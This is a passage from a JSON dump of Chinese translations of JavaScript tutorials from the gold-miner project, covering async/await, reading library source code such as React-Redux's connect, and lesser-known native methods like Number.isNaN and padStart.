会返回 `promise` 结果。但是如果被 reject，它就会抛出错误，就像在那行有 `throw` 语句一样。\n> 5. 异步函数不能同时等待多个 promise。\n> 6. 如果在 await 之后使用 await 多次，并且后一条语句不依赖于前一条语句，则可能会出现性能问题。\n\n到目前为止一切顺利，现在让我们看一个简单的例子：\n\n```js\nasync function asyncFunction() {\n\n  const promise = new Promise((resolve, reject) => {\n    setTimeout(() => resolve(\"i am resolved!\"), 1000)\n  });\n\n  const result = await promise; \n  // wait till the promise resolves (*)\n\n  console.log(result); // \"i am resolved!\"\n}\n\nasyncFunction();\n```\n\n在 `await promise` 这一行，`asyncFunction` 执行“暂停”，并在 promise 被解决后回复，`result`（第 95 行的 `const result`）变成它的结果。上面的代码在一秒钟后展示 “`i am resolved!`”。\n\n* * *\n\n#### Generator 和 Async-await 比较\n\n1.  **Generator 函数/yield** 和 **Async 函数/await** 都可以用来编写“等待”的异步代码，这意味着代码看起来像是同步的，即使它确实是异步的。\n2.  **Generator 函数**按照 **yield 接着 yield** 的顺序执行，就是说一个 yield 表达式通过迭代器来执行一次（执行 `next` 方法），而 **Async-await** 按照 **await 接着 await** 的顺序依序执行。\n3.  **Async/await** 可以更容易地实现 **Generators** 的特定用例。\n4.  **Generator** 的返回值始终是 **{value: X, done: Boolean}**。对于 **Async 函数**它将始终是一个将解析为值 X 或抛出错误的 **promise**。\n5.  **Async 函数**可以分解为 **Generator 和 promise** 来实现，这些都很有用。\n* * *\n\n如果您想要添加到我的电子邮件列表中，请考虑 [**在此处输入您的电子邮件**](https://goo.gl/forms/MOPINWoY7q1f1APu2)，并在 [**medium**](https://medium.com/@ideepak.jsd) **上关注我以阅读更多有关 javascript 的文章，并在** [**github**](https://github.com/dg92) **上查看我的疯狂代码**。如果有什么不清楚的，或者你想指出什么，请在下面评论。\n\n你可能也喜欢我的其他文章：\n\n1.  [Nodejs app structure](https://codeburst.io/fractal-a-nodejs-app-structure-for-infinite-scale-d74dda57ee11)\n2.  [Javascript data structure with map, reduce, filter](https://codeburst.io/write-beautiful-javascript-with-%CE%BB-fp-es6-350cd64ab5bf)\n3.  [Javascript- Currying VS Partial Application](https://codeburst.io/javascript-currying-vs-partial-application-4db5b2442be8)\n4.  [Javascript ES6 — Iterables and Iterators](https://codeburst.io/javascript-es6-iterables-and-iterators-de18b54f4d4)\n5.  [Javascript performance test — for vs for each vs (map, reduce, filter, find).](https://codeburst.io/write-beautiful-javascript-with-%CE%BB-fp-es6-350cd64ab5bf)\n6.  [Javascript — Proxy](https://codeburst.io/why-to-use-javascript-proxy-5cdc69d943e3)\n\n* * *\n\n**如果你喜欢这篇文章，请鼓掌。提示：你可以拍 50 次！此外，欢迎推荐和分享，以帮助其他人找到它！**\n\n**谢谢！**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/javascript-knowledge-reading-source-code.md",
    "content": "> * 原文地址：[Improve Your JavaScript Knowledge By Reading Source Code](https://www.smashingmagazine.com/2019/07/javascript-knowledge-reading-source-code/)\n> * 原文作者：[Carl Mungazi](https://www.smashingmagazine.com/author/carl-mungazi/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-knowledge-reading-source-code.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-knowledge-reading-source-code.md)\n> * 译者：[MarchYuanx](https://github.com/MarchYuanx)\n> * 校对者：[imononoke](https://github.com/imononoke), [Baddyo](https://github.com/Baddyo)\n\n# 通过阅读源码提高你的 Javascript 水平\n\n快速摘要：当你还处于编程生涯的初期阶段时，深入研究开源库和框架的源代码可能是一项艰巨的任务。在本文中，Carl Mungazi 分享了他如何克服恐惧，并开始用源码来提高他的知识水平和专业技能。他还使用了 Redux 来演示他如何解构一个代码库。\n\n你还记得你第一次深入研究你常用的库或框架的源码时的情景吗？对我来说，这一刻发生在三年前我作为前端开发者的第一份工作中。\n\n当时我们刚刚完成了用于创建网络学习课程的内部遗留框架的重构。在重构开始时，我们花时间研究了许多不同的解决方案，包括 Mithril、Inferno、Angular、React、Aurelia、Vue 和 Polymer。那时我仅仅只是个小萌新（我刚从新闻工作转向 web 开发），我记得我对每个框架的复杂性感到恐惧，不理解它们是如何工作的。\n\n随着对我们所选择的 Mithril 框架研究的深入，我对它的理解也逐渐加深了。从那以后，我花了很多时间深入钻研那些在工作或个人项目中日常使用的库的内部结构，这显著地提升了我对 JavaScript —— 以及通用编程思想 —— 的了解。在这篇文章中，我将分享一些方法给你，你可以使用自己喜欢的库或框架，并将其作为学习工具。\n\n[![Mithril 中 hyperscript 函数的源码](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/a94d53ac-c580-4a50-846d-74d997c484d9/2-improve-your-javascript-knowledge-by-reading-source-code.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/a94d53ac-c580-4a50-846d-74d997c484d9/2-improve-your-javascript-knowledge-by-reading-source-code.png)\n\n我要介绍的第一个源码阅读示例是 Mithril 的 hyperscript 函数。（[高清预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/a94d53ac-c580-4a50-846d-74d997c484d9/2-improve-your-javascript-knowledge-by-reading-source-code.png)）\n\n### 阅读源码的好处\n\n阅读源代码的一个主要好处是可以学到很多东西。在我第一次读 Mithril 代码库时，我对虚拟 DOM 的概念还很模糊。当我读完后，我了解到虚拟 DOM 是一种技术，它创建一个对象树，用于描述用户界面的外观。然后使用 DOM APIs（如 `document.createElement`）将对象树转换为 DOM 元素。通过创建描述用户界面的更新状态的新对象树，然后将其与旧对象树进行比较来执行更新。\n\n我在各种文章和教程中已经阅读了所有这些内容，虽然这很有帮助，但对我来说，能够在我们提供的应用程序的环境中观察到它工作是非常有启发性的。它还教会我在比较不同框架时应该考虑哪些因素。例如，我现在知道要考虑这样的问题，“每个框架执行更新的方式如何影响性能和用户体验？”，而不是只看框架在 GitHub 上 star 的数量。\n\n另一个好处是你对优秀的程序架构的理解和鉴赏能力提升了。虽然大多数开源项目的存储库通常遵循相同的结构，但每个项目都包含差异。Mithril 的结构非常简单，如果你熟悉它的 API，你可以根据文件夹名称推测出其中的代码的功能，如 `render`、`router` 和 `request`。另一方面，React 的结构反映了它的新架构。维护人员将负责 UI 更新的模块（`react concerner`）与负责呈现 DOM 元素的模块（`react dom`）分开。\n\n这样做的好处之一是，开发人员现在更容易通过挂进 `react-reconciler` 包来编写自己的[自定义渲染器](https://github.com/chentsulin/awesome-react-renderer)。我最近研究过的模块打包工具 Parcel 也有像 React 这样的 `packages` 文件夹。主模块名为 `parcel-bundler`，它包含负责创建包、启动热模块服务器和命令行工具的代码。\n\n[![JavaScript 语言规范中解释 Object.prototype.toString 原理的章节](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6777ea35-ee97-40c4-a0b8-5b4c2455f733/1-improve-your-javascript-knowledge-by-reading-source-code.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6777ea35-ee97-40c4-a0b8-5b4c2455f733/1-improve-your-javascript-knowledge-by-reading-source-code.png)\n\n不久之后，你所阅读的源码将引导你找到 JavaScript 规范。（[高清预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6777ea35-ee97-40c4-a0b8-5b4c2455f733/1-improve-your-javascript-knowledge-by-reading-source-code.png)）\n\n另一个好处 —— 令我感到惊讶的是 —— 你可以更轻松地阅读定义语言如何工作的官方 JavaScript 规范。我第一次阅读规范是在研究 `throw Error` 与 `throw new Error`（剧透警告 —— [二者没有区别](http://www.ecma-international.org/ecma-262/7.0/#sec-error-constructor)）之间的区别时。我研究这个问题是因为我注意到 Mithril 在其 `m` 函数的实现中使用了 `throw Error`，我想知道这种用法是否比使用 throw new Error 更好。从那以后，我还了解了逻辑运算符 `&&` 和 `||` [不一定返回布尔值](https://tc39.es/ecma262/#prod-LogicalORExpression)，找到了控制 `==` 等于运算符如何强制转换值的[规则](http://www.ecma-international.org/ecma-262/#sec-abstract-equality-comparison)和 `Object.prototype.toString.call({})` 返回 `'[object Object]'` 的[原因](http://www.ecma-international.org/ecma-262/#sec-object.prototype.tostring)。\n\n### 阅读源码的技巧\n\n有很多方法可以处理源码。我发现最简单的方法是从你选择的库中选择一个方法，并记录当你调用它时会发生什么。不要每一个步骤都记录，而是尝试理解它的整体流程和结构。\n\n我最近用这个方法阅读了 ReactDOM.render 的源码，因此学到了很多关于 React Fiber 及其实现背后的一些原因。谢天谢地，由于 React 是一个流行的框架，在同样的问题上，我找到了很多其他开发者撰写的文章，这让我的学习进程快了许多。\n\n这次深入研究还让我明白了[合作调度](https://developer.mozilla.org/en-US/docs/Web/API/Background_Tasks_API)的概念、[`window.requestIdleCallback`](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback) 方法和一个[链接列表的实际示例](https://github.com/facebook/react/blob/v16.7.0/packages/react-reconciler/src/ReactUpdateQueue.js#L10)（React 通过将更新放入一个队列来处理它们，这个队列是一个按优先级排列的链接列表）。在研究过程中，建议使用库创建非常基本的应用程序。这使得调试更容易，因为你不必处理由其他库引起的堆栈跟踪。\n\n如果我不打算进行深入研究，我会打开正在开发的项目中的 /node_modules 文件夹，或者到 GitHub 仓库中去查看源码。这通常发生在我遇到一个 bug 或有趣的特性时。在 GitHub 上阅读代码时，请确保你阅读的是最新版本。你可以通过单击用于更改分支的按钮并选择“tags”来查看具有最新版本标记的提交中的代码。库和框架永远在进行更改，因此你不会想了解可能在下一版本中删除的内容。\n\n还有另一种不太复杂的阅读源码的方法，我喜欢称之为“粗略一瞥”。在我开始阅读代码的早期，我安装了 **express.js**，打开了它的 `/node_modules` 文件夹并浏览了它的依赖项。如果 `README` 没有给我一个满意的解释，我就会阅读源码。这样做让我得到了这些有趣的发现：\n\n* Express 依赖于两个模块，两个模块都合并对象，但以非常不同的方式进行合并。`merge-descriptors` 只添加直接在源对象上直接找到的属性，它还合并了不可枚举的属性，而 `utils-merge` 只迭代对象的可枚举属性以及在其原型链中找到的属性。`merge-descriptors` 使用 `Object.getOwnPropertyNames()` 和 `Object.getOwnPropertyDescriptor()` 而 `utils-merge` 使用 `for..in`；\n* `setprototypeof` 模块提供了一种设置实例化对象原型的跨平台方式；\n* `escape-html` 是一个有 78 行代码的模块，用于转义一系列内容，可以在 HTML 内容中进行插值。\n\n虽然这些发现不可能立即有用，但是对库或框架所使用的依赖关系有一个大致的了解是有用的。\n\n在调试前端代码时，浏览器的调试工具是你最好的朋友。除此之外，它们允许你随时停止程序并检查其状态，跳过函数的执行或进入或退出程序。有时这不能立即生效，因为代码已经压缩。我倾向于将它解压并将解压的代码复制到 `/node_modules` 文件夹中的对应文件中。\n\n[![ReactDOM.render 函数的源码](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/798703fd-8689-40d9-9159-701f1a00f837/3-improve-your-javascript-knowledge-by-reading-source-code.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/798703fd-8689-40d9-9159-701f1a00f837/3-improve-your-javascript-knowledge-by-reading-source-code.png)\n\n像处理任何其他应用程序一样处理调试。形成一个假设，然后测试它。（[高清预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/798703fd-8689-40d9-9159-701f1a00f837/3-improve-your-javascript-knowledge-by-reading-source-code.png)）\n\n### 研究案例：Redux 的 Connect 函数\n\nReact-Redux 是一个用于管理 React 应用程序状态的库。在处理这些流行的库时，我首先搜索有关其实现的文章。在这个案例研究中，我找到了这篇[文章](https://blog.isquaredsoftware.com/2018/11/react-redux-history-implementation)。这是阅读源码的另一个好处。研究阶段通常会引导你阅读这样的信息性文章，这些文章会提高你的思考与理解。\n\n`connect` 是一个将 React 组件连接到应用程序的 Redux 存储的 React-Redux 函数。怎么连？好的，根据[文档](https://react-redux.js.org/api/connect)，它执行以下操作：\n\n> “...返回一个新的连接的组件类，它包装您传入的组件。”\n\n看完之后，我会问下列问题：\n\n* 我是否知道哪些模式或概念，其函数能够接受一个输入并将输入封装、加上附加功能再返回输出？\n* 如果我知道这样的模式，我如何根据文档中给出的解释来实现它？\n\n通常，下一步是创建一个使用 `connect` 的非常基础的示例应用程序。但是，在这种情况下，我选择使用我们在 [limejump](https://limejump.com/) 上构建的新的 React 应用程序，因为我希望在最终要进入生产环境的应用程序的上下文环境中理解 `connect`。\n\n我关注的组件看起来像这样：\n\n```\nclass MarketContainer extends Component {\n // 简洁起见，省略代码（code omitted for brevity）\n}\n\nconst mapDispatchToProps = dispatch => {\n return {\n   updateSummary: (summary, start, today) => dispatch(updateSummary(summary, start, today))\n }\n}\n\nexport default connect(null, mapDispatchToProps)(MarketContainer);\n```\n\n它是一个容器组件，包裹着四个较小的连接的组件。在导出 `connect` 方法的[文件](https://github.com/reduxjs/react-redux/blob/v7.1.0/src/connect/connect.js)中，你首先看到的是这个注释：**connect is a facade over connectAdvanced**。没走多远，我们就有了第一个学习的时刻：**一个观察 [facade](http://jargon.js.org/_glossary/FACADE_PATTERN.md) 设计模式的机会**。在文件末尾，我们看到 `connect` 导出了对名为 `createConnect` 的函数的调用。它的参数是一组默认值，这些默认值被这样解构：\n\n```\nexport function createConnect({\n connectHOC = connectAdvanced,\n mapStateToPropsFactories = defaultMapStateToPropsFactories,\n mapDispatchToPropsFactories = defaultMapDispatchToPropsFactories,\n mergePropsFactories = defaultMergePropsFactories,\n selectorFactory = defaultSelectorFactory\n} = {})\n```\n\n同样，我们遇到了另一个学习时刻：**导出调用函数**和**解构默认函数参数**。解构部分是一个学习时刻，因为它的代码编写如下：\n\n```\nexport function createConnect({\n connectHOC = connectAdvanced,\n mapStateToPropsFactories = defaultMapStateToPropsFactories,\n mapDispatchToPropsFactories = defaultMapDispatchToPropsFactories,\n mergePropsFactories = defaultMergePropsFactories,\n selectorFactory = defaultSelectorFactory\n})\n```\n\n它会导致这个错误 `Uncaught TypeError: Cannot destructure property 'connectHOC' of 'undefined' or 'null'.`。这是因为函数没有可供回调的默认参数。\n\n**注意：有关这方面的更多信息，您可以阅读 David Walsh 的[文章](https://davidwalsh.name/destructuring-function-arguments)。根据你对语言的了解，一些学习时刻可能看起来微不足道，因此最好将注意力放在您以前从未见过的事情上，或需要了解更多信息的事情上。**\n\n`createConnect` 在其函数内部并不执行任何操作。它只是返回一个名为 connect 的函数，也就是我在这里用到的：\n\n```javascript\nexport default connect(null, mapDispatchToProps)(MarketContainer)\n```\n\n它需要四个参数，都是可选的，前三个参数都通过 [match](https://github.com/reduxjs/react-redux/blob/v7.1.0/src/connect/connect.js#L25) 函数来帮助根据参数是否存在以及它们的值类型来定义它们的行为。现在，因为提供给 `match` 的第二个参数是导入 `connect` 的三个函数之一，我必须决定要遵循哪个线程。\n\n如果那些参数是函数，[代理函数](https://github.com/reduxjs/react-redux/blob/v7.1.0/src/connect/wrapMapToProps.js#L29)被用来将第一个参数包装为 `connect`，这是也一个学习的时刻。[isPlainObject](https://github.com/reduxjs/react-redux/blob/v7.1.0/src/utils/isPlainObject.js) 用于检查普通对象或 [warning](https://github.com/reduxjs/react-redux/blob/v7.1.0/src/utils/warning.js) 模块，它揭示了如何将调试器设置为[中断所有异常](https://developers.google.com/web/tools/chrome-devtools/javascript/breakpoints#exceptions)。在匹配函数之后，我们来看 `connectHOC`，这个函数接受我们的 React 组件并将它连接到 Redux。它是另一个函数调用，返回 [wrapWithConnect](https://github.com/reduxjs/react-redux/blob/v7.1.0/src/components/connectAdvanced.js#L123)，该函数实际处理将组件连接到存储的操作。\n\n看看 `connectHOC` 的实现，我可以理解为什么它需要 `connect` 来隐藏它的实现细节。它是 React-Redux 的核心，包含不需要通过 `connect` 展现的逻辑。尽管我原本打算在这个地方结束对它的深度探讨，我也会继续，这将是查阅之前发现的参考资料的最佳时机，因为它包含对代码库的非常详细的解释。\n\n### 总结\n\n阅读源码起初很困难，但与任何事情一样，随着时间的推移变得更容易。我们的目标不是理解一切，而是要获得不同的视角和新知识。关键是要对整个过程进行深思熟虑，并对所有事情充满好奇。\n\n例如，我发现 `isPlainObject` 函数很有趣，因为它使用 `if (typeof obj !== 'object' || obj === null) return false` 以确保给定的参数是普通对象。 当我第一次阅读它的实现时，我想知道为什么它没有使用 `Object.prototype.toString.call(opts) !== '[object Object]'` ，这样能用更少的代码且区分对象和对象子类型，如 Date 对象。但是，读完下一行我发现，在极小概率情况下，例如开发者使用 `connect` 时返回了 Date 对象，这将由`Object.getPrototypeOf(obj) === null` 检查处理。\n\n`isPlainObject` 中另一个吸引人的地方是这段代码：\n\n```javascript\nwhile (Object.getPrototypeOf(baseProto) !== null) {\n baseProto = Object.getPrototypeOf(baseProto)\n}\n```\n\n有些谷歌搜索结果指向这个 [StackOverflow 问答](https://stackoverflow.com/questions/51722354/the-implementation-of-isplainobject-function-in-redux/51726564#51726564)和这个在 GitHub 仓库中的 [Redux issue](https://github.com/reduxjs/redux/pull/2599#issuecomment-342849867)，解释该代码如何处理诸如检查源自 iFrame 的对象这类情况。\n\n#### 其它的阅读源码的参考链接\n\n* “[How To Reverse Engineer Frameworks](https://blog.angularindepth.com/level-up-your-reverse-engineering-skills-8f910ae10630),” Max Koretskyi, Medium\n* “[How To Read Code](https://github.com/aredridel/how-to-read-code/blob/master/how-to-read-code.md),” Aria Stewart, GitHub\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/javascript-native-methods-you-may-not-know.md",
    "content": "> * 原文地址：[JavaScript Native Methods You May Not Know](https://medium.com/better-programming/javascript-native-methods-you-may-not-know-ccc4b8aa5cfd)\n> * 原文作者：[Moon](https://medium.com/@moonformeli)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-native-methods-you-may-not-know.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-native-methods-you-may-not-know.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[Baddyo](https://github.com/Baddyo)，[Chorer](https://github.com/Chorer)\n\n# 您可能不知道的原生 JavaScript 方法\n\n#### 一些很强大但却经常被忽视的原生 JavaScript 方法\n\n![](https://cdn-images-1.medium.com/max/2000/1*v0O86GFV7H15ol_r9xwNPA.jpeg)\n\n自从 ES6 发布以来，许多新的、方便的原生方法被添加到 JavaScript 的新标准中。\n\n但是，我还是在 GitHub 的仓库中看到了许多旧代码。当然，这并不是说它们不好，而是说如果使用我下面介绍的这些特性，代码将变得更具可读性、更美观。\n\n---\n\n## Number.isNaN 对比 isNaN\n\n`NaN` 是 number 类型。\n\n```js\ntypeof NaN === 'number'\n```\n\n所以您不能直接区分出 `NaN` 和普通数字。\n\n甚至对于 `NaN` 和 普通数字，当调用 Object.prototype.toString.call 方法时都会返回 `[object Number]`。您可能已经知道 `isNaN` 方法可以用于检查参数是否为 `NaN`。但是自从有了 ES6 之后，构造函数 **Number()** 也开始将 isNaN 作为它的方法。那么，这二者有什么不同呢？\n\n* `isNaN` —— 检查值是否不是一个普通数字或者是否不能转换为一个普通数字。\n* `Number.isNaN` —— 检查值是否为 NaN。\n\n这里有一些例子。[Stack Overflow](https://stackoverflow.com/questions/33164725/confusion-between-isnan-and-number-isnan-in-javascript) 上的网友已经讨论过这个话题了。\n\n```js\nNumber.isNaN({});\n// <- false，{} 不是 NaN\nNumber.isNaN('ponyfoo')\n// <- false，'ponyfoo' 不是 NaN\nNumber.isNaN(NaN)\n// <- true，NaN 是 NaN\nNumber.isNaN('pony'/'foo')\n// <- true，'pony'/'foo' 是 NaN，NaN 是 NaN\n\nisNaN({});\n// <- true，{} 不是一个普通数字\nisNaN('ponyfoo')\n// <- true，'ponyfoo' 不是一个普通数字\nisNaN(NaN)\n// <- true，NaN 不是一个普通数字\nisNaN('pony'/'foo')\n// <- true，'pony'/'foo' 是 NaN, NaN 不是一个普通数字\n```\n\n---\n\n## Number.isFinite 对比 isFinite\n\n在 JavaScript 中，类似 1/0 这样的计算不会产生错误。相反，它会返回全局对象的一个属性 `Infinity`。\n\n那么，如何检查一个值是否为无穷大呢？抱歉，您做不到。但是，您可以使用 `isFinite` 和 `Number.isFinite` 检查值是否为有限值。\n\n它们的工作原理基本相同，但彼此之间略有不同。\n\n* `isFinite` —— 检查传入的值是否是有限值。如果传入的值的类型不是 `number` 类型，会尝试将这个值转换为 `number` 类型，再判断。\n* `Number.isFinite` —— 检查传入的值是否是有限值。即使传入的值的类型不是 `number` 类型，也不会尝试转换，而是直接判断。\n\n```js\nNumber.isFinite(Infinity) // false\nisFinite(Infinity) // false\n\nNumber.isFinite(NaN) // false\nisFinite(NaN) // false\n\nNumber.isFinite(2e64) // true\nisFinite(2e64) // true\n\nNumber.isFinite(undefined) // false\nisFinite(undefined) // false\n\nNumber.isFinite(null) // false\nisFinite(null) // true\n\nNumber.isFinite('0') // false\nisFinite('0') // true\n```\n\n---\n\n## Math.floor 对比 Math.trunc\n\n在过去，当您需要取出小数点右边的数字时，您可能会使用 `Math.floor` 这个函数。但是从现在开始，如果您真正想要的只是整数部分，可以尝试使用 `Math.trunc` 函数。\n\n* `Math.floor` —— 返回小于等于给定数字的最大整数。\n* `Math.trunc` —— 返回数的整数部分。\n\n基本上，如果给定的数是正数，它们会给出完全相同的结果。但是如果给定的数字是负数，结果就不同了。\n\n```js\nMath.floor(1.23) // 1\nMath.trunc(1.23) // 1\n\nMath.floor(-5.3) // -6\nMath.trunc(-5.3) // -5\n\nMath.floor(-0.1) // -1\nMath.trunc(-0.1) // -0\n```\n\n---\n\n## Array.prototype.indexOf 对比 Array.prototype.includes\n\n当您想在给定数组中查找某个值时，如何查找它？我见过许多开发人员使用 `Array.prototype.indexOf`，如下面的例子所示。\n\n```js\nconst arr = [1, 2, 3, 4];\n\nif (arr.indexOf(1) > -1) {\n  ...\n}\n```\n\n* `Array.prototype.indexOf` —— 返回可以在数组中找到给定元素的第一个索引，如果不存在，则返回 `-1`。\n* `Array.prototype.includes` —— 检查给定数组是否包含要查找的特定值，并返回 `true`/`false` 作为结果。\n\n```js\nconst students = ['Hong', 'James', 'Mark', 'James'];\n\nstudents.indexOf('Mark') // 1\nstudents.includes('James') // true\n\nstudents.indexOf('Sam') // -1\nstudents.includes('Sam') // false\n```\n\n要注意，由于 Unicode 编码的差异，所以传入的值是大小写敏感的。\n\n---\n\n## String.prototype.repeat 对比 for 循环 \n\n在 ES6 添加此特性之前，生成像 `abcabcabc` 这样的字符串的方法是，根据您的需要将字符串复制多次并连接到一个空字符串后面。\n\n```js\nvar str = 'abc';\nvar res = '';\n\nvar copyTimes = 3;\n\nfor (var i = 0; i < copyTimes; i += 1) {\n  for (var j = 0; j < str.length; j += 1) {\n    res += str[j];\n  }\n}\n```\n\n但是这样写实在是又长又乱，有时候可读性也很差。为此，我们可以使用 `String.prototype.repeat` 函数。您所需要做的只是传入一个数字，该数字表示您希望重复字符串的次数。\n\n```js\n'abc'.repeat(3) // \"abcabcabc\"\n'hi '.repeat(2) // \"hi hi \"\n\n'empty'.repeat(0) // \"\"\n'empty'.repeat(null) // \"\"\n'empty'.repeat(undefined) // \"\"\n'empty'.repeat(NaN) // \"\"\n\n'error'.repeat(-1) // RangeError\n'error'.repeat(Infinity) // RangeError\n```\n\n传入的值不能是负数，必须小于无穷大，并且还不能超过字符串的最大长度，不然会造成溢出。\n\n---\n\n## String.prototype.match 对比 String.prototype.includes\n\n要检查字符串中是否包含某些特定字符串，有两种方法 —— `match` 函数和 `includes` 函数。\n\n* `String.prototype.match` —— 接收 RegExp 类型的参数。RegExp 中支持的所有标志都可以使用。\n* `String.prototype.includes` —— 接收两个参数，第一个参数是 `searchString`，第二个参数是 `position`。如果没有传入 `position` 参数，则使用默认值 `0`。\n\n这二者的不同之处在于 `includes` 函数是大小写敏感的，而 `match` 函数可以不是。您可以将标记 `i` 放在 RegExp 中，使其不区分大小写。\n\n```js\nconst name = 'jane';\nconst nameReg = /jane/i;\n\nconst str = 'Jane is a student';\n\nstr.includes(name) // false\nstr.match(nameReg) \n// [\"Jane\", index: 0, input: \"Jane is a student\", groups: undefined]\n```\n\n---\n\n## String.prototype.concat 对比 String.prototype.padStart\n\n当您希望在一个字符串的开头添加一些字符串时，`padStart` 是一个很有用的方法。\n\n同样，`concat` 函数也可以很好地完成这个任务。但是最主要的区别是 `padStart` 函数会从结果字符串的第一位开始重复地将参数中的字符串填充到结果字符串。\n\n我将向您展示如何使用这个函数。\n\n```js\nconst rep = 'abc';\nconst str = 'xyz';\n```\n\n这里有两个字符串。我想在 `xyz` 前面添加 `rep` —— 但是，不仅是只添加一次，我希望重复添加。\n\n```js\nstr.padStart(10, rep);\n```\n\n`padStart` 需要两个参数 —— 新创建的结果字符串的总长度和将要重复的字符串。理解这个函数最简单的方法是用空格代替字母写下来。\n\n```\n// 新建 10 个空格\n1) _ _ _ _ _ _ _ _ _ _ \n\n// 在空格中将 'xyz' 填入\n2) _ _ _ _ _ _ _ x y z\n\n// 在剩下的空格中重复 'abc'\n// 直到 'xyz' 的第一个字母出现\n3) a b c a b c a x y z\n\n// 结果最终会是\n4) abcabcaxyz\n```\n\n这个函数对于这个特定场景下非常有用，并且如果用 `concat`（ 一个同样用于执行字符串追加的函数）绝对很难做到。\n\n`padEnd` 函数和 `padStart` 函数一样，只不过从位置的末尾开始。\n\n---\n\n## 总结\n\n在 JavaScript 中有许多有趣又有用的方法。虽然它们并不常见，但这并不意味着它们毫无用武之地。如何巧妙地使用它们就取决于您了。\n\n#### 参考资料\n\n* [JavaScript 中 isNaN 函数和 Number.isNaN 函数之间的混淆](https://stackoverflow.com/questions/33164725/confusion-between-isnan-and-number-isnan-in-javascript)\n* [Number.isFinite —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isFinite)\n* [isFinite —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isFinite)\n* [Math.trunc —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/trunc)\n* [Math.floor —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor)\n* [Array.prototype.indexOf —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)\n* [Array.prototype.includes —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes)\n* [String.prototype.repeat —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat)\n* [String.prototype.math —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match)\n* [String.prototype.includes —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes)\n* [String.prototype.padStart —— MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padStart)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 